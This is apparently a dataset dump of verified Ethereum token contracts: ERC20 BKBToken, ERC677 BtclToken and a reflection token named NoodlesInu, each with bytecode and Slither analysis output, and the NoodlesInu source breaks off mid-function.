address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xa286035a1e60abf172524bdbfd224abeef6ce362
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IEIPERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title StandardToken * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract StandardToken is IEIPERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } } contract BKBToken is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H0.1'; constructor(address owner, uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) public { name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes _mint(owner, _initialAmount); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063395093511461029557806354fd4d50146102fa57806370a082311461038a57806395d89b41146103e1578063a457c2d714610471578063a9059cbb146104d6578063dd62ed3e1461053b575b600080fd5b3480156100cb57600080fd5b506100d46105b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610650565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c961077d565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610787565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b5061027961098f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a2565b604051808215151515815260200191505060405180910390f35b34801561030657600080fd5b5061030f610bd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034f578082015181840152602081019050610334565b50505050905090810190601f16801561037c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039657600080fd5b506103cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c77565b6040518082815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610cbf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043657808201518184015260208101905061041b565b50505050905090810190601f1680156104635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5d565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610521600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f94565b604051808215151515815260200191505060405180910390f35b34801561054757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fab565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106485780601f1061061d57610100808354040283529160200191610648565b820191906000526020600020905b81548152906001019060200180831161062b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561068d57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b600061081882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108a3848484611053565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109df57600080fd5b610a6e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c6f5780601f10610c4457610100808354040283529160200191610c6f565b820191906000526020600020905b815481529060010190602001808311610c5257829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d555780601f10610d2a57610100808354040283529160200191610d55565b820191906000526020600020905b815481529060010190602001808311610d3857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d9a57600080fd5b610e2982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610fa1338484611053565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561104457600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561108f57600080fd5b6110e0816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611173816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561123657600080fd5b80915050929150505600a165627a7a7230582062394cf0f7a2bd76fd0ef6af17a690d8ff93107cac82476b29100e3d9ff3a9370029
{"success": true, "error": null, "results": {}}
3,600
0x1b9973d63efaeed9c2d45e4565a67b15a662bb89
/** *Submitted for verification at Etherscan.io on 2021-02-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC677 is ERC20 { function transferAndCall(address to, uint value, bytes data) returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC677Receiver { function onTokenTransfer(address _sender, uint _value, bytes _data); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC677Token is ERC677 { /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes _data) public returns (bool success) { super.transfer(_to, _value); Transfer(msg.sender, _to, _value, _data); if (isContract(_to)) { contractFallback(_to, _value, _data); } return true; } // PRIVATE function contractFallback(address _to, uint _value, bytes _data) private { ERC677Receiver receiver = ERC677Receiver(_to); receiver.onTokenTransfer(msg.sender, _value, _data); } function isContract(address _addr) private returns (bool hasCode) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } } contract BtclToken is StandardToken, ERC677Token { uint public constant totalSupply = 10**28; string public constant name = 'Bitcoin Lottery'; string public constant symbol = 'BTCL'; uint8 public constant decimals = 18; function BtclToken() public { balances[msg.sender] = totalSupply; } /** * @dev transfer token to a specified address with additional data if the recipient is a contract. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes _data) public validRecipient(_to) returns (bool success) { return super.transferAndCall(_to, _value, _data); } /** * @dev transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public validRecipient(_to) returns (bool success) { return super.transfer(_to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public validRecipient(_spender) returns (bool) { return super.approve(_spender, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validRecipient(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } // MODIFIERS modifier validRecipient(address _recipient) { require(_recipient != address(0) && _recipient != address(this)); _; } }
0x606060405236156100b75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100bc578063095ea7b31461014757806318160ddd1461017d57806323b872dd146101a2578063313ce567146101de5780634000aea014610207578063661884631461028057806370a08231146102b657806395d89b41146102e7578063a9059cbb14610372578063d73dd623146103a8578063dd62ed3e146103de575b600080fd5b34156100c757600080fd5b6100cf610415565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010c5780820151818401525b6020016100f3565b50505050905090810190601f1680156101395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015257600080fd5b610169600160a060020a036004351660243561044c565b604051901515815260200160405180910390f35b341561018857600080fd5b610190610499565b60405190815260200160405180910390f35b34156101ad57600080fd5b610169600160a060020a03600435811690602435166044356104a9565b604051901515815260200160405180910390f35b34156101e957600080fd5b6101f16104f8565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016960048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506104fd95505050505050565b604051901515815260200160405180910390f35b341561028b57600080fd5b610169600160a060020a036004351660243561054c565b604051901515815260200160405180910390f35b34156102c157600080fd5b610190600160a060020a0360043516610648565b60405190815260200160405180910390f35b34156102f257600080fd5b6100cf610667565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010c5780820151818401525b6020016100f3565b50505050905090810190601f1680156101395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037d57600080fd5b610169600160a060020a036004351660243561069e565b604051901515815260200160405180910390f35b34156103b357600080fd5b610169600160a060020a03600435166024356106eb565b604051901515815260200160405180910390f35b34156103e957600080fd5b610190600160a060020a0360043581169060243516610790565b60405190815260200160405180910390f35b60408051908101604052600f81527f426974636f696e204c6f74746572790000000000000000000000000000000000602082015281565b600082600160a060020a03811615801590610479575030600160a060020a031681600160a060020a031614155b151561048457600080fd5b61048e84846107bd565b91505b5b5092915050565b6b204fce5e3e2502611000000081565b600082600160a060020a038116158015906104d6575030600160a060020a031681600160a060020a031614155b15156104e157600080fd5b6104ec85858561082a565b91505b5b509392505050565b601281565b600083600160a060020a0381161580159061052a575030600160a060020a031681600160a060020a031614155b151561053557600080fd5b6104ec85858561093c565b91505b5b509392505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156105a957600160a060020a0333811660009081526002602090815260408083209388168352929052908120556105e0565b6105b9818463ffffffff610a2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a0381166000908152600160205260409020545b919050565b60408051908101604052600481527f4254434c00000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116158015906106cb575030600160a060020a031681600160a060020a031614155b15156106d657600080fd5b61048e8484610a3a565b91505b5b5092915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610723908363ffffffff610afa16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600160a060020a03808416600081815260026020908152604080832033909516835293815283822054928252600190529182205461086e908463ffffffff610a2316565b600160a060020a0380871660009081526001602052604080822093909355908616815220546108a3908463ffffffff610afa16565b600160a060020a0385166000908152600160205260409020556108cc818463ffffffff610a2316565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b60006109488484610a3a565b5083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156109c35780820151818401525b6020016109aa565b50505050905090810190601f1680156109f05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3610a0784610b14565b15610a1757610a17848484610b23565b5b5060015b9392505050565b600082821115610a2f57fe5b508082035b92915050565b600160a060020a033316600090815260016020526040812054610a63908363ffffffff610a2316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a98908363ffffffff610afa16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600082820183811015610b0957fe5b8091505b5092915050565b6000813b908111905b50919050565b82600160a060020a03811663a4c0ed363385856040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bbd5780820151818401525b602001610ba4565b50505050905090810190601f168015610bea5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610c0a57600080fd5b6102c65a03f11515610c1b57600080fd5b5050505b505050505600a165627a7a72305820a24fc6a4a09c831afda9044b4da92018d2c7d65c7461d81c5db22296e606ca3f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
3,601
0x7b68a59d796fc72251dadb3c83a4d68209e9ea04
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ /** *Submitted for verification at Etherscan.io on 2021-06-15 */ //Noodles Inu ($NoodlesInu) //Limit Buy //Cooldown //Bot Protect //Liqudity dev provides and lock //TG: https://t.me/noodlesinu //Twitter: https://twitter.com/criptopaulinu //Website: TBA // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NoodlesInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Noodles Inu"; string private constant _symbol = "NoodlesInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return 